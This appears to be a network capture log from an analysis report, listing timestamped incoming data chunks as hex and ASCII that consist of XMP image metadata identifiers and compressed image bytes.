rdf:li> <rdf:li>xmp.did:FB627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:FB7F11740720681180
839B54363C71C8</rdf:li> <rdf:li>xmp.did:FB7F1174072068118083C1AF6E6

2022-08-11 03:42:56 UTC 9986 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 61 32 38 32 31 66 62 64 2d 30 33 62 63 2d 62 38 34 66 2d 38 31 39 33 2d 65 
61 64 61 62 61 64 66 38 36 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 32 
62 33 30 30 61 33 2d 37 34 34 65 2d 34 64 62 61 2d 39 61 64 33 2d 33 66 31 30 33 32 65 35 35 31 34 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 32 62 64 36 30 63 64 2d 37 62 61 65 2d 34 62 34 62 
2d 39 38 61 63 2d 37 63 33 63 30 32 33 62 37 66 65 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 61 32 66 32 66 30 31 34 2d 62 38 65 35 2d 34 38 35 62 2d 39 32 35 63 2d 39 30 66 62 32 63 36 32 39 66 
35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
Data Ascii: i>xmp.did:a2821fbd-03bc-b84f-8193-eadabadf864e</rdf:li> <rdf:li>xmp.did:a2b300a3-744e-4dba-9ad3-3f
1032e55142</rdf:li> <rdf:li>xmp.did:a2bd60cd-7bae-4b4b-98ac-7c3c023b7fe1</rdf:li> <rdf:li>xmp.did:a2f2f014-b8e5-
485b-925c-90fb2c629f57</rdf:li> <rdf:li>xmp.d

2022-08-11 03:42:56 UTC 10002 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 32 39 33 61 32 31 39 2d 31 36 39 36 2d 34 63 64 66 2d 61 61 30 32 2d 
39 63 36 32 62 66 35 66 32 65 65 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 
32 62 35 34 37 39 36 2d 33 39 34 37 2d 34 31 36 31 2d 62 35 35 31 2d 31 34 38 39 32 39 37 37 63 30 62 62 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 32 63 34 66 38 36 32 2d 66 35 33 31 2d 34 62 34 
32 2d 62 38 30 64 2d 31 62 37 33 66 37 38 32 35 35 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 64 32 63 37 35 30 39 66 2d 38 66 63 37 2d 36 37 34 36 2d 38 66 61 34 2d 61 35 34 31 36 34 39 33 61 
30 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: li>xmp.did:d293a219-1696-4cdf-aa02-9c62bf5f2ee4</rdf:li> <rdf:li>xmp.did:d2b54796-3947-4161-b551-1
4892977c0bb</rdf:li> <rdf:li>xmp.did:d2c4f862-f531-4b42-b80d-1b73f782553c</rdf:li> <rdf:li>xmp.did:d2c7509f-8fc7-
6746-8fa4-a5416493a021</rdf:li> <rdf:li>xmp.

2022-08-11 03:42:56 UTC 10018 IN Data Raw: f9 6b d5 e5 dd 35 82 eb d1 99 8c 9c d9 f3 72 a4 cf 94 ea 96 47 d6 d6 e5 f7 74 d4 de f2 09 fd 40 77 09 2f 09 2b 
c0 b3 5c db e1 45 5c 9a a3 47 fd 33 f7 02 6c f3 cd 0e 4d bd 1c 87 8c 96 3e 0d 3a bf b9 5d 35 b4 60 bb 5a 3d 36 de fa c8 
da 37 38 22 90 4a 92 49 1b 16 06 36 07 a4 8f 1e 9a 3a 2c 19 db a5 59 91 da bd b3 26 4e c5 2e ef 1e 63 c4 06 a3 e8 02 
74 10 9d 3d 7f ee 35 4a 98 0d 13 21 b7 6d cb 99 88 cc 88 58 25 80 60 38 0a e2 72 d9 9a b7 c4 00 e6 61 a4 43 f3 0b 03 
d9 f0 ac d5 99 30 c1 71 0c 5a c1 60 1a dd a3 fb d5 ba b1 52 7d 5b 0b dc 98 d8 5b 74 31 c3 14 89 ad 2c 8c cb 64 2d 6f 3d 
76 26 a0 d5 de 10 f7 0b 06 3f a6 8c c6 d7 70 a2 cd 7b d5 a2 e0 c6 ff 00 54 b7 66 45 83 6f 55 17 6b ca e6 fe 15 1a 55 13 ef
b5 4d e0 8b b6 15 ed 7f 6c 6d 50 ec 69 9d 2a ab cb 24 25 
Data Ascii: k5rGt@w/+\E\G3lM>:]5`Z=678"JI6:,Y&N.ct=5J!mX%`8raC0qZ`R}[[t1,d-o=v&?p{TfEoUkUMlmPi*$%

2022-08-11 03:42:56 UTC 10026 IN Data Raw: b5 ee df 81 6b 4b da 11 4d b6 62 25 12 9d f6 18 e4 d6 12 32 16 77 ec bb 0f 5a 2c 59 1d 7c fd fd 15 9d 0c d2 8c 
9f 51 96 38 f2 63 2a 6c c8 c3 fb 2b a5 a3 a7 d1 2c bb 86 e3 8f 30 c1 c7 c7 0e e5 6f ad 9b 4a 70 e9 d5 aa cd fa 94 91 93 
6d 3c 0a 3e 83 dc 5b 60 69 71 bd 16 32 35 dc 5e fc 49 ef f7 13 fc f5 35 9a ff 00 6e c1 6a bf 53 19 c9 bc 67 ed 98 cd fc c9 
61 32 ac 65 81 0f 60 d6 f9 5d 7b d5 ab 68 6b 64 b3 a8 a7 6a f6 1e 06 e5 83 16 5e 62 3c 79 52 8d 6c 51 c8 b6 ae bd 1a 7b 
9a 34 f7 d2 a1 2c 12 b9 ab 65 a3 9e e3 da 76 dd 90 c1 24 1f 96 cc c4 14 07 be 2d de d3 f2 79 ea 6d 81 b4 aa 3d f6 94 1a 
71 0c e4 dc cc e5 bf b3 c3 55 56 5d 07 4c e5 58 02 38 1e da a2 e4 9a ea f1 50 07 8b 8b e9 ed e7 40 00 e4 ef 58 d8 d2 88 
1d ba c9 b7 00 48 1f 79 a8 33 77 48 9e e7 b8 7d 04 
Data Ascii: kKMb%2wZ,Y|Q8c*l+,0oJpm<>[`iq25^I5njSga2e`]{hkdj^b<yRlQ{4,ev$-ym=qUV]LX8P@XHy3wH}

2022-08-11 03:42:56 UTC 10042 IN Data Raw: 5d b4 2e 95 8f 23 22 53 71 e2 5f 99 91 7c b5 4a 9f 57 b9 6d 87 7b 93 6a c0 87 d2 58 b0 e3 92 56 3c 05 b4 0b 
79 b5 25 5f 44 ab e2 06 c4 5b af b6 76 79 a1 79 ec f8 86 30 58 c9 1b 10 da ff 00 17 7a b9 17 62 f5 84 62 a3 f7 86 f9 b4 c6 
60 49 62 9a 3c 84 23 56 8b c9 a6 da 17 54 89 e2 d1 5d 75 e8 9a 32 af f4 1d fb 77 dc 4d 85 b4 fd 2c 3d 18 60 69 2d 6d 56 
3e 3f 51 fc 1a aa 2d 66 0d 30 ec 15 91 14 c8 c4 4f 1f 30 a1 ac a4 1f 99 2b ca b7 67 47 93 95 ca c8 36 eb 1c 7b 94 51 62 
ed 71 b4 23 5e a9 23 76 d4 84 f8 1a 36 ef 77 eb a9 7e cd 6d e1 b6 ca de 0e 63 c8 df 70 e0 58 b7 28 c4 50 a5 96 27 52 09 
07 c3 55 db a5 e8 a5 0e d2 91 5a 67 64 38 b6 4c 8d 20 53 c0 39 b8 06 b8 57 ee dd bc 9c eb a3 29 91 b7 58 67 48 e3 81 
9a 29 3a d4 83 ce dd 55 e9 56 cd e4 d5 b6 cd 16 16 3e 4e 
Data Ascii: ].#"Sq_|JWm{jXV<y%_D[vyy0Xzbb`Ib<#VT]u2wM,=`i-mV>?Q-f0O0+gG6{Qbq#^#v6w~mcpX(P'RUZgd8L S9
W)XgH):UV>N
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2022-08-11 03:42:56 UTC 10046 IN Data Raw: 2d d4 f9 96 eb 82 30 e3 69 94 f0 d4 5b 87 66 ae ed 62 b2 63 a9 66 df ed 2d ef 79 85 32 f1 e2 f5 21 6e 4c 5b 4f 
0f bb 5a aa 33 4a d0 75 b1 6d 3b b4 39 c7 6d c6 8d a3 91 00 67 32 70 5d 3f 2b d3 ad 5c e4 e8 88 3e 81 97 ef 9d a7 6f 05 
73 67 54 9a 3e 96 8d 4e b6 27 e4 54 ae a4 c5 b1 94 cf db 26 f7 3e e0 fb 8c 51 41 0c 13 22 aa b6 51 eb e9 f1 a6 22 7f f8 
5a c9 ad 98 b6 91 83 fb 56 4c 2c bc 78 20 c8 2d 33 83 aa 4d 20 68 5f f6 15 6a 1f 3c 89 83 fb 9f 61 fe 61 9f 16 d7 82 cc 4e 
82 d3 b3 1b 8e 1d cd 6d fc 4a 76 ae 42 c8 07 3f 13 66 f6 da ea 70 33 32 57 9a f8 56 9e a9 11 e1 96 c9 de 59 ff 00 ee e5 
42 31 d8 90 81 47 05 f9 2b 27 59 08 91 66 76 f2 f9 69 a0 0d 28 28 f0 0a b0 99 98 99 54 f5 a7 65 36 6a 83 77 0c 98 04 78 
f9 a8 87 d6 89 bf 36 fd d7 07 fd 35 29 48 a4 75 ba 
Data Ascii: -0i[fbcf-y2!nL[OZ3Jum;9mg2p]?+\>osgT>N'T&>QA"Q"ZVL,x -3M h_j<aaNmJvB?fp32WVYB1G+'Yfvi((T
e6jwx65)Hu

2022-08-11 03:42:56 UTC 10062 IN Data Raw: 9e 1d 24 78 6b 83 f6 29 39 47 15 d2 5e 0c e0 8e 69 a2 48 b1 3a a5 6b 70 1d eb 78 97 55 67 c7 93 b3 22 a8 
17 70 8b 27 6b 94 47 95 82 11 ad a8 36 bd 5a 87 9f ff 00 25 76 db 83 5e 94 f9 b2 dc 6d d1 78 06 8f 41 3c 41 f8 fe 2a e5 
b7 33 37 58 25 9f b3 e2 6f 2a 25 2b a6 55 e4 eb d2 df 77 a2 9f 2e ce 8e 10 eb 66 8a d3 04 e1 e3 97 19 99 10 e6 de d1 ab 
da 68 dc 79 59 25 af 66 b6 95 27 46 c9 8b 33 20 cf c0 b3 65 22 c8 d2 95 21 b1 9b 43 86 27 a5 3d 1f 13 d2 81 ea 37 db 7d 
c7 14 1e 86 3c 19 27 17 30 3c 86 6f a9 8c ad 8b 78 5f d4 ef 56 89 47 85 3a c0 de 75 9f 71 db f3 e7 dc 1e 39 74 40 e4 18 
6c c8 dd 27 4b 74 9a bd 67 d1 25 25 3e d8 8e 39 f1 e2 c6 9d 87 a8 c8 9c 39 5c f4 b7 86 b1 ad 72 3d be 0f a5 8e 03 8f 0a 
ea 2c c9 fb cf 2d b1 81 fa 60 5f 2a 65 09 08 51 7e a2 6b 2b 
Data Ascii: $xk)9G^iH:kpxUg"p'kG6Z%v^mxA<A*37X%o*%+Uw.fhyY%f'F3 e"!C'=7}<'0<ox_VG:uq9t@l'Ktg%%>99\r=,-
`_*eQ~k+

2022-08-11 03:42:56 UTC 10078 IN Data Raw: d1 cb 81 aa c9 f4 bd af 63 8e 08 98 ce c4 90 e5 b8 1d 21 3e e2 a7 77 cd 5d 35 e6 8d 55 60 f9 26 f3 b6 65 7b 
b3 7f 9a 3c 30 49 11 03 a9 8f ee d5 99 16 4d 75 92 4f fe 5f 71 29 48 df 0b 66 dc 36 6c 98 76 fc d3 1a b4 c0 fa 52 9e 31 be 
91 ad 91 bc 5a f4 f8 2b 07 c3 32 0b 98 c6 2c 2d b2 20 3d 49 5a 79 a6 61 78 23 fb 0f 4f e5 af 87 ef d7 42 a4 17 aa 34 1b 9f 
bb e1 da 55 23 11 eb ca 7b 2a c2 bc d0 7f bb f7 6b 7d d2 11 f3 ef 76 fb b7 71 69 42 86 21 95 81 b8 ec b7 82 b2 da 49 b2 
90 8c df 70 6d fb e4 f1 cf 94 cd 09 10 85 7e dd 4e 3c 54 9e 42 bf d4 63 b4 fb 3f 6f 56 57 2e 65 c9 65 d6 19 64 e0 3e 5a b4 
a0 d1 8b 65 c0 c2 97 71 54 9a 3c 89 32 55 b9 23 5d 47 93 ae a1 e7 04 e1 0c 9a 48 25 cc 7c 4f a7 10 34 63 5b e8 3f 98 cd 
fe ec fe 0f c1 59 b4 48 3c 5e e3 db e0 2b 81 8f 
Data Ascii: c!>w]5U`&e{<0IMuO_q)Hf6lvR1Z+2,- =IZyax#OB4U#{*k}vqiB!Ipm~N<TBc?oVW.eed>ZeqT<2U#]GH%|O4c[?
YH<^+

2022-08-11 03:42:56 UTC 10085 IN Data Raw: 6e 98 ce c8 2d e9 32 ad f5 9f 0a 6a f1 55 2a 7c 87 e2 4b 23 58 bd d3 3a 96 cb 60 21 d5 64 58 02 f3 1f 3e ae ed
69 f9 1d 4c db 68 35 b7 58 b6 54 5c 5d d5 06 3c 59 27 5e 8b f0 b7 4a f8 69 bb 35 e9 a6 cd 7a 61 bd c2 b2 a6 73 cd 0b bf 
d1 4c 7f 29 ae 48 0b e4 d5 58 bb c9 8b 72 c1 36 9d e4 ec 79 62 48 b4 b5 fb ea f6 d2 d7 a7 5b 31 cb 5e 1a d1 3e d0 a8 73 
a0 1a 1d 8e a7 8f 51 d3 c7 f8 55 a2 bc 95 b4 8f 73 86 6e 5e c4 b3 ed 92 3c cc 6d a6 31 a5 81 17 f3 68 ae a6 a5 1d 0b c3 
2f 90 db 86 5f a3 8d b8 ca 82 49 a5 08 cb 18 b1 8f fe b2 f7 6b 97 52 19 b7 4c 0c fd 9d 6f 81 1a 4f d3 6e 0d a2 e7 f1 57 4a 
ae be 0b 48 f0 ce e6 26 42 ac a9 b9 a7 fd d4 b7 61 15 ee 9a 3b be a7 ab fe 4a ca cb ea 2d 59 97 dc 77 5c 1c 2c 48 84 70 
68 cf 8e fe ac 8c b7 0c 3c 3a 57 cd 50 d6 ca 0b 8c 
Data Ascii: n-2jU*|K#X:`!dX>iLh5XT\]<Y'^Ji5zasL)HXr6ybH[1^>sQUsn^<m1h/_IkRLoOnWJH&Ba;J-Yw\,Hph<:WP

2022-08-11 03:42:56 UTC 10101 IN Data Raw: 65 8e 21 f7 bf 69 fe 1d 74 fa da 10 fa 3c 07 33 b7 8b 89 ed fd 35 e4 5e d2 ce 07 62 dc 78 8c c0 8e c1 ce b1 b5 
a0 99 18 ac 4b 8c 05 87 51 00 dc d6 1b 48 0b 72 65 b4 8c 58 da e7 80 f8 d7 45 54 87 a3 ad bb 66 ca 00 4a d1 71 7e ea 
bf 05 60 7e 7a b7 c9 9b 56 90 1f 97 ba e4 ec b1 a6 32 c4 89 6e 20 4a 35 ea ff 00 a7 2f 8f 4d 76 f3 9a 61 9d 35 b3 40 5b 
5e f5 83 b9 65 30 dc 50 44 da 2e 8d 10 20 33 ff 00 0d a3 5a e8 9a b7 92 9d d1 dd b2 4c 6c e2 f1 6e 12 9c 49 78 94 27 ba 
7e fd 5d 5d 6d 81 ca b0 56 f9 b0 4b 8f 82 d9 4a f1 4f 0a 8d 4c e8 7a 8f dd 4e ba e4 e9 fa af d4 45 b9 89 31 a5 8e 75 57 8e 
e5 08 16 ec af 27 a5 5d 7d 38 6d 58 2d 9a 2e 23 90 ac d3 33 60 12 e6 26 2b 87 9a e1 56 bb 38 53 66 6b ca b2 07 93 8b 
3e e4 d1 ee c4 84 c7 0d 6e 07 af 87 9a 2f 9a bd 85 45 10 
Data Ascii: e!it<35^bxKQHreXETfJq~`~zV2n J5/Mva5@[^e0PD. 3ZLlnIx'~]]mVKJOLzNE1uW']}8mX-.#3`&+V8Sfk>n/E

2022-08-11 03:42:56 UTC 10117 IN Data Raw: b9 f2 21 e1 c0 0e 06 c2 d7 fb d5 6a 92 4b 96 5e b1 9c fc 57 9e 14 66 55 ef 15 52 da 4f cf 49 51 d5 90 aa c0 1d 
27 c5 65 49 e3 64 67 17 5b 8e f5 fc b5 ab ac 96 e8 68 36 b0 70 20 59 d5 83 3c 84 89 62 65 20 a8 1d dd 5a fc d5 2d c3 2d 
7d a1 79 bb 16 24 d0 17 6c d2 a9 22 f0 45 85 8d 8f f0 df 4d 76 d1 4e 51 d1 57 28 ee 3c fb 76 df 87 8b 83 b8 48 de a3 a1 
91 9d 07 a9 f9 84 e9 f4 b4 fe ed d6 a6 13 24 ab 2c ed 90 43 e9 e2 4b 3c 97 bb 11 20 28 14 fc ab 59 36 97 86 6e d0 59 ba 
7b f9 a6 db d3 6b c1 c7 fa 55 5e 0c e1 81 d4 2d a1 d5 3f eb 56 96 ba 6a 06 ee 22 83 7c 10 d9 7d 2e 56 17 16 e1 5c 4f 8c 
98 34 32 c5 23 74 05 d5 c1 f4 d7 56 83 de 36 f0 46 9e 39 3e 4a 9a 72 72 55 6a 68 72 76 2f a5 db b5 6e 4c 23 82 5d 26 39 
e3 e2 10 5b 57 a5 91 0f 7b f1 d7 a2 b9 a4 b2 6e e8 2b 
Data Ascii: !jK^WfUROIQ'eIdg[h6p Y<be Z--}y$l"EMvNQW(<vH$,CK< (Y6nY{kU^-?Vj"|}.V\O42#tV6F9>JrrUjhrv/
nL#]&9[W{n+

2022-08-11 03:42:56 UTC 10125 IN Data Raw: a9 09 1f 50 fe 97 ef 32 cd b5 e4 ec f0 14 49 63 7f 5a ed e3 8d b4 ac 91 7e 1d 3d fa 76 52 84 cd 67 f3 d8 44 7e 
82 c9 60 e4 2b 2f f0 fc d5 cc f9 fc 19 a5 81 68 8a 5c 2c a9 44 6d aa 21 a4 ea 1c ac 7c f5 e6 de 8f 9b c1 cf ab 4f 06 83 69 
dd 23 9b 16 6c 29 1c 15 65 21 1a dd 3c 47 71 ab d1 e3 d7 10 ce 8a da 30 65 b6 cd a3 79 84 08 a2 d0 d0 ba e9 2e dc 34 
80 7b ab ab fc 95 5a 8d 26 6d 76 2f 6e 41 b7 21 0c 01 69 05 d9 be 26 b6 ad 20 69 01 fb 8e 19 b3 a5 8b 1e 10 e9 14 56 2c 
6d c0 d6 3d 9c 09 82 7d 14 ff 00 59 92 b0 85 44 cb d3 f9 8c 2f a7 48 d3 d1 58 ae 93 81 c9 56 e9 ed 47 dc 62 48 73 a7 06 
35 3d 3e 9a da e3 ca f4 3b 3a 84 c1 9f dd f1 37 28 09 c5 c1 8c a6 2c 66 c5 ef 65 fd 5a 2b d1 30 c3 05 db 36 6d f3 76 c9 6f 
a7 91 b1 f1 22 00 34 8d 70 ad e6 d2 b5 bd 54 9a 42 
Data Ascii: P2IcZ~=vRgD~`+/h\,Dm!|Oi#l)e!<Gq0ey.4{Z&mv/nA!i& iV,m=}YD/HXVGbHs5=>;:7(,feZ+06mvo"4pTB

2022-08-11 03:42:56 UTC 10141 IN Data Raw: df 22 dc b6 fc 6f a3 54 3e 92 04 74 d5 66 42 a3 47 73 c3 1d 74 2b 28 2d 33 13 fd 42 d9 b6 a9 57 f9 8e 02 a2 
64 c6 c5 b2 55 4d b5 8e eb 46 cb fc 45 6a ca d7 4f 08 72 8f 99 4e e8 b2 7a 98 fd 2b ce df 0a 55 9f 92 26 4d e4 39 5b 46 
ed b2 fd 46 24 51 c5 b9 e3 a5 a5 40 34 fa a3 c4 da fc 7f c4 a2 e9 40 ac 51 b3 7b 9e 27 c6 fe 5f bd bc d3 c1 71 a0 5e e1 00 
f9 7c 55 cf d2 f6 6b 04 78 1d b8 ec c9 83 02 6e 3b 10 66 56 bf 15 be a2 9e 24 65 f2 d7 05 3b 39 8b 8a 60 c7 67 7a 0d 20 
92 25 e9 6e 77 ec 6a ee ac a4 06 8f da 38 18 9b ca 64 6d f9 e4 47 1b 25 e1 7e 5a 24 ac 2f 6d 5a 64 52 27 21 1f d3 bd 8c 
ee 13 64 7a ac 43 e2 1d 25 87 26 37 e9 ff 00 0d 3e f5 76 fe 1f ed dc bd 32 7d 3f 0a 39 4e 61 f5 57 4e b4 00 1e d2 05 57 
eb d2 d3 f7 1a 55 64 22 45 71 39 c7 86 fa 3e de 40 db 
Data Ascii: "oT>tfBGst+(-3BWdUMFEjOrNz+U&M9[FF$Q@4@Q{'_q^|Ukxn;fV$e;9`gz %nwj8dmG%~Z$/mZdR
'!dzC%&7>v2}?9NaWNWUd"Eq9>@

2022-08-11 03:42:56 UTC 10145 IN Data Raw: fc ce 9a 70 85 3f d0 21 36 ff 00 69 ca c1 b6 ec b9 70 a6 3d d0 cc c4 7f f6 72 ff 00 ae a1 a4 c7 81 83 7b 6f 76 
8e 58 e5 83 37 1e 65 51 c5 98 5b 81 fb a7 4d 4e ac a3 b1 7b 3b 36 27 7c a4 31 49 23 29 00 eb e9 24 d2 d1 92 d4 95 fb 6f 
db 5b 9e 2e 26 4c 5b 94 71 3f a8 d7 56 d4 0d a9 5a 92 1a 8e 36 7f 62 60 43 a9 e5 fc e0 c2 e5 49 b8 56 ff 00 6e ae bc fe 
a1 05 d9 98 19 b1 62 b6 0e d9 14 50 c4 6f de 61 62 0d 4d a7 e0 20 5e bb 5e 76 dd 1a 48 21 8f 2f 27 e4 01 51 3c ac 8a d4 
95 60 b3 19 bc 6d db d6 fd bb 7a 39 d1 38 9e 28 4b 69 e0 46 97 3a 55 a3 f9 7f 2e 9d a6 0c ec 9b 18 41 81 36 1c 46 2c a8 
dd 61 8c 0d 4a 41 b3 1f 37 4f 92 b9 5d 19 9a a3 45 38 d0 6d b9 e9 24 93 47 c5 d8 e9 3f 01 dd 5d 15 49 b2 1d 98 a7 70 c3 
8b 6f 7d 5a 8b 25 ac a0 7f 8a 95 b2 29 91 34 b0 bb 69 
Data Ascii: p?!6ip=r{ovX7eQ[MN{;6'|1I#)$o[.&L[q?VZ6b`CIVnbPoabM ^^vH!/'Q<`mz98(KiF:U.A6F,aJA7O]E8m$G
?]Ipo}Z%)4i

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 10161 IN Data Raw: c6 7c 57 24 64 6d 99 47 1b 28 32 bc 66 da 5c 58 91 7e 87 5f 96 bb 96 51 2c 6d 26 52 9b 31 6e 07 97 db 5c f9 
20 b3 13 dc 1b c6 c7 32 8c 3b c4 6f fb 37 ee b8 f2 b2 57 47 3b c1 59 35 99 fe e4 db b7 0d b5 b3 f7 9d b5 12 7e 28 8d c2 
ec f6 ef 2f ef 34 56 ae e9 f8 5c 99 af 6c 65 fb 68 e2 98 b7 8c 57 9f 20 b9 25 95 78 05 f0 a7 79 29 57 02 98 1f e3 4d ed bc 
b8 1f 0b 6a 6c 88 26 50 cd 12 8b 8e cf cc 44 66 ff 00 05 37 00 a1 99 e1 ec fc e9 f1 84 d8 9a 66 17 b9 b3 59 96 fd ef 5a 36 
f1 d6 5f d4 a8 0d da 5e 3c 68 e2 d9 1d 5b 26 70 59 84 37 e9 5f 17 4b 54 3b 93 e0 4e db bf 60 ee d2 64 60 c5 8a 98 63 1e 
36 90 92 6e 49 4e f6 bf c5 54 eb 2a 41 e4 45 b3 7f 50 b3 b6 9c 97 ca 55 49 a3 75 d0 c8 dd 20 8b f4 b7 4d 69 5c 0c 6c 37 
cf 6c 7b 8e 7c 3f 47 13 d0 ce 39 0a d2 a8 5b 21 41 
Data Ascii: |W$dmG(2f\X~_Q,m&R1n\ 2;o7WG;Y5~(/4V\lehW %xy)WMjl&PDf7fYZ6_^<h[&pY7_KT;N`d`c6nINT*AEPUIu 
Mi\l7l{|?G9[!A

2022-08-11 03:42:56 UTC 10177 IN Data Raw: 7a ad 29 59 1a b1 95 c4 78 b3 d2 19 24 b0 62 08 71 e1 52 3a 6b 9f 4c 8c 59 1e e2 72 f2 04 79 81 e4 09 20 8c 
2d f8 5b c2 ab 4e d4 81 b1 ce 67 b0 db 0e 78 f2 65 74 93 16 63 dc 53 77 43 6f 55 51 93 f0 d2 bd 5d 6b 81 6a 69 33 ff 00 
a9 3b 76 2e d7 06 3e 1f 19 d8 2a b4 76 ee 01 fb 5d 75 ba 7f 6c 21 b7 81 7f ba f7 e8 b7 4d bd 9b 6f 84 ac 6b a5 9d d8 5b 
f5 6b 26 d3 c0 91 97 da 77 f9 f6 dd b6 53 2a bd e4 63 e9 39 1d 1c 7b da 1e 9b 45 c0 67 b7 f7 d9 76 b0 d3 65 22 14 95 6d 
6e 4c c3 cc e9 fe 6a 97 68 19 cd 9e 37 13 43 87 34 cb f4 92 b3 7a 72 2f 16 87 56 a6 45 6f 2a 6a a2 13 26 08 e6 bc bb 6e 
41 da f7 95 d5 a8 f4 c8 0f 30 3b b2 2b fc d5 7a 8e 20 57 ee c8 f1 21 c8 8a 0c 20 c1 52 2b bd f8 fe 63 79 7e 5d 34 d6 4a 34 
5e c0 ce d9 20 da 25 c5 dd 48 49 9a 57 91 58 de f6 b6 
Data Ascii: z)Yx$bqR:kLYry -[NgxetcSwCoUQ]kji3;v.>*v]ul!Mok[k&wS*c9{Egve"mnLjh7C4zr/VEo*j&nA0;+z W! 
R+cy~]4J4^ %HIWX

2022-08-11 03:42:56 UTC 10185 IN Data Raw: f2 25 c7 8a 08 71 a4 4c 74 5b 2c 9c 74 b2 f8 16 b9 b9 d5 bc b3 36 e4 c2 92 c1 89 23 a4 da bb 91 68 6b 0e 29 
c7 58 f7 29 b5 2a a3 6a 4b 0e 3a 97 ba d5 8a ba 9d 50 9d 83 bd b9 ee 83 93 bf 9d c7 73 61 20 99 0a 35 ed cb f7 7d da 7d 
e9 f6 ff 00 ea 06 85 99 a4 2e 74 cf 88 48 8d 9c e9 fd 14 73 50 a1 8e 80 2a 87 d4 50 c0 dd 98 0f d3 7f fc d5 b1 a4 1b 25 cb 
c8 c0 41 14 91 33 22 92 b2 a7 1e 04 77 ba 6b ce bd 53 7e 98 58 84 bb ce 36 34 ef 8d 80 ec d8 d3 a8 05 48 e2 ac 7b c9 
a6 b6 ad 49 48 67 b7 fb 7a 6d db 14 bc 13 a4 e5 2e 1b 1a 75 b1 00 7f 0f 23 bd 5d 35 52 8d 93 01 3e d7 f4 98 fd 3b 04 98 
0e 11 31 1c 47 f1 22 9b c4 b5 2b 21 e9 dc 7d 97 71 6f fb 78 1e 35 90 83 76 f5 41 b7 1a 61 a8 6e e5 8b 91 8c cb 1c 18 eb 
90 11 40 69 40 0f 66 f1 e9 55 ef 7f d4 ac af 81 b4 5f b3 
Data Ascii: %qLt[,t6#hk)X)*jK:Psa 5}}.tHsP*P%A3"wkS~X64H{IHgzm.u#]5R>;1G"+!}qox5vAan@i@fU_

2022-08-11 03:42:56 UTC 10201 IN Data Raw: 6e c4 bb 1b 07 d9 36 dc 0c 4f 56 73 eb e2 13 7b b1 ee 37 97 e5 a9 88 24 49 f4 3e d6 cc fc c7 2f 19 6e 00 9b 
91 f8 6a d5 8a 41 d1 6d b1 42 3e bb 6d cd 62 13 a7 42 f7 54 7c e9 4a 60 2c c5 3e e3 df ce e5 8e b8 a4 86 31 3d f5 fc 7e 
5a 6a 58 92 33 8f 98 a4 14 36 1e 53 57 0c b8 03 93 14 4c 6c 09 1f 1e 1c a9 cc 04 97 65 6c c9 05 96 29 44 b7 17 2c bd 94 
2b c9 47 71 7d 45 b4 08 c7 4f fc aa 2f 59 c9 36 ac 8e b3 3d bf 9f 92 63 76 54 b5 82 eb 04 72 f3 49 58 2b a4 43 4d 16 ee 
8d 87 87 3f f2 cc 39 4e 44 05 41 2c 4f 27 b7 e6 7d ea 14 fa 85 22 ac b3 8f b7 ca 12 3e 30 b6 9b 8f d3 fb 4e f7 96 b7 a5 9d 
91 6b 21 1b c4 98 79 71 a8 44 2a f1 70 e9 ed 43 4d 60 60 d8 25 62 7b ab 5d 7b 18 8e 22 95 98 9e 47 79 3b af a9 24 72 f0 
65 52 01 f8 11 52 44 16 fb 7b 73 9c ef 80 e2 13 12 a3 
Data Ascii: n6OVs{7$I>/njAmB>mbBT|J`,>1=~ZjX36SWLlel)D,+Gq}EO/Y6=cvTrIX+CM?9NDA,O'}">0Nk!yqD*pCM``%b{]
{"Gy;$reRRD{s

2022-08-11 03:42:56 UTC 10217 IN Data Raw: 93 61 55 e0 fc 37 be cf f6 9e 04 0c d9 9b cf e6 08 e3 d7 e9 f8 40 f3 c9 59 ef 26 7b 49 b7 f7 a8 c7 83 17 17 6c 
c2 8d 23 86 7c ac 6e 2a a0 6a 46 6f 52 ab 09 8e 46 9b c6 eb 87 96 24 92 20 0f d3 5d 4b 76 f0 f1 ea ac 3a b4 fc 26 cc f9 
c6 56 ed 2e ee e1 73 e6 2b 0a 71 4b 0e a9 2f e1 ac d2 8c 92 58 67 fa 34 7c 78 7a 56 68 d9 18 11 c3 4f fa eb 99 59 b6 25 
22 dd ab 2b 1e 29 2d 9b 18 93 1c 90 74 9e 5a 80 d1 d3 5b 49 46 af 1b 7d c1 98 36 2e 1c 49 09 5e 06 32 01 e1 5d 13 39 
45 2b a2 9c dd ed 97 21 50 ac 8b 1e 9d 37 04 6a 3f f4 fe 4a 4e c2 d9 07 ed be fa 8f 21 5b 09 23 32 48 88 4e a7 23 d4 55 
1f e2 d3 55 06 89 84 7b 6f 61 da 0c 83 75 69 9e 49 b5 97 8f d4 6e 95 6f 06 94 f2 d6 88 a1 76 7e db b8 7d 5c 99 18 ef 1b 
64 3b ea 75 63 c0 fc 8d ab f7 75 31 99 26 19 7e d8 f9 18 
Data Ascii: aU7@Y&{Il#|n*jFoRF$ ]Kv:&V.s+qK/Xg4|xzVhOY%"+)-tZ[IF}6.I^2]9E+!P7j?JN![#2HN#UU{oauiInov~
}\d;ucu1&~

2022-08-11 03:42:56 UTC 10225 IN Data Raw: 28 56 da 56 b0 db 22 56 93 0f b5 e1 c9 26 a7 85 82 94 ec 3d b5 d1 7b a5 e9 56 64 a3 49 72 72 84 76 08 ee 78 
